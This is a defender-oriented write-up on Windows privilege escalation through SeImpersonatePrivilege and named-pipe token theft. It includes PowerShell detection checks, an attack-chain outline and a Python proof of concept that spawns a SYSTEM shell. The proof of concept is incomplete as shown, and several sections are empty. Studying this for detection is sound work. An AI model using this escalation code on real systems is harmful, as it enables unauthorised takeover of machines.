← Back to writeups Privilege Escalation

SeImpersonatePrivilege to SYSTEM

Token manipulation techniques for defenders to understand

PrintSpoofer exploit - Service account to SYSTEM

// What is this?
A Windows permission that lets code borrow a system account's full privileges — the stepping stone to SYSTEM.

SeImpersonatePrivilege lets a process temporarily act as another user. Web servers and databases legitimately need it. An attacker with code running as a low-privilege service account (IIS, MSSQL) creates a fake named pipe, tricks a high-privilege Windows service into connecting to it, then steals its security token. The result: full SYSTEM access from a web shell or SQL injection. Potato exploits (GodPotato, PrintSpoofer) automate this chain.

PowerShell — SeImpersonate Detection
# Check current privileges
whoami /priv | findstr -i "impersonate debug assign"

# Services running as Local Service or Network Service (exploitable)
Get-CimInstance Win32_Service | Where-Object {
  $_.StartName -match "LocalService|NetworkService"
} | Select-Object Name, StartName, PathName

# Named pipes (used by potato exploits)
Get-ChildItem \\.\pipe\ -ErrorAction SilentlyContinue | Select-Object Name
If this flags: SeImpersonatePrivilege allows SYSTEM escalation via potato exploits. Services as LocalService/NetworkService are targets. Monitor named pipe creation.

The Privilege

Windows assigns SeImpersonatePrivilege to service accounts that need to act on behalf of other users. When services like IIS, SQL Server, or SSH servers run as NETWORK SERVICE or LOCAL SERVICE, they inherit this privilege.

The privilege allows a process to impersonate any token it can obtain a handle to. This is by design - services need to handle requests from different users. But attackers abuse this to escalate from service account to SYSTEM.

The Attack Chain

  1. Create a named pipe - The attacker creates a named pipe server and waits for connections
  2. Trigger SYSTEM connection - Force a SYSTEM-level service to connect to the pipe (Print Spooler, BITS, etc.)
  3. Impersonate the client - Call ImpersonateNamedPipeClient() to steal the SYSTEM token
  4. Duplicate and use - DuplicateTokenEx() creates a usable primary token
  5. Spawn elevated process - CreateProcessWithTokenW() launches a SYSTEM shell

Session Isolation Matters

Windows isolates services in Session 0. Interactive users run in Session 1+. When escalating, the API choice determines which session the new process runs in:

Defenders should understand why attackers prefer certain APIs - it reveals their operational needs.

Common Vulnerable Services

Token Duplication Flow

Once the pipe client connects as SYSTEM, the full token chain to a SYSTEM process:

# Named pipe token steal — source: uac-to-system-poc (sanitized)
import ctypes, ctypes.wintypes as wt
kernel32 = ctypes.WinDLL('kernel32', use_last_error=True)
advapi32 = ctypes.WinDLL('advapi32', use_last_error=True)

# 1. Create a named pipe and wait for SYSTEM to connect
pipe = kernel32.CreateNamedPipeW(
    r'\\\\.\\pipe\\[YOUR_PIPE_NAME]',
    0x00000003,  # PIPE_ACCESS_DUPLEX
    0x00000004,  # PIPE_TYPE_MESSAGE
    10, 2048, 2048, 0, None
)
kernel32.ConnectNamedPipe(pipe, None)  # blocks until connection

# 2. Impersonate the pipe client (must be SYSTEM or high-priv)
advapi32.ImpersonateNamedPipeClient(pipe)

# 3. Get the impersonation token for the current thread
h_token = wt.HANDLE()
advapi32.OpenThreadToken(
    kernel32.GetCurrentThread(),
    0xF01FF,  # TOKEN_ALL_ACCESS
    False,
    ctypes.byref(h_token)
)

# 4. Duplicate to a primary token (required for CreateProcessWithTokenW)
h_primary = wt.HANDLE()
advapi32.DuplicateTokenEx(
    h_token,
    0xF01FF,  # TOKEN_ALL_ACCESS
    None,
    2,  # SecurityImpersonation
    1,  # TokenPrimary
    ctypes.byref(h_primary)
)

# 5. Spawn process under SYSTEM token
advapi32.CreateProcessWithTokenW(
    h_primary, 0x00000002, None,
    "cmd.exe",  # or your payload
    None, None, None, ctypes.byref(si), ctypes.byref(pi)
)
# result: cmd.exe running as NT AUTHORITY\SYSTEM

For the direct winlogon token theft path (no pipe required, needs SeDebugPrivilege), see Token Stealing writeup.

Detection Opportunities

Monitor for: Named pipe creation from unusual processes. Token manipulation API calls (ImpersonateNamedPipeClient, DuplicateTokenEx) from non-service binaries. SYSTEM processes spawning with interactive session IDs. Rapid privilege changes in the same process context.

Defensive Mitigations

Demo

PrintSpoofer exploit: SeImpersonatePrivilege → named pipe → SYSTEM shell. Lab environment, Windows 10 22H2.

MITRE ATT&CK: T1134.001 (Access Token Manipulation: Token Impersonation/Theft)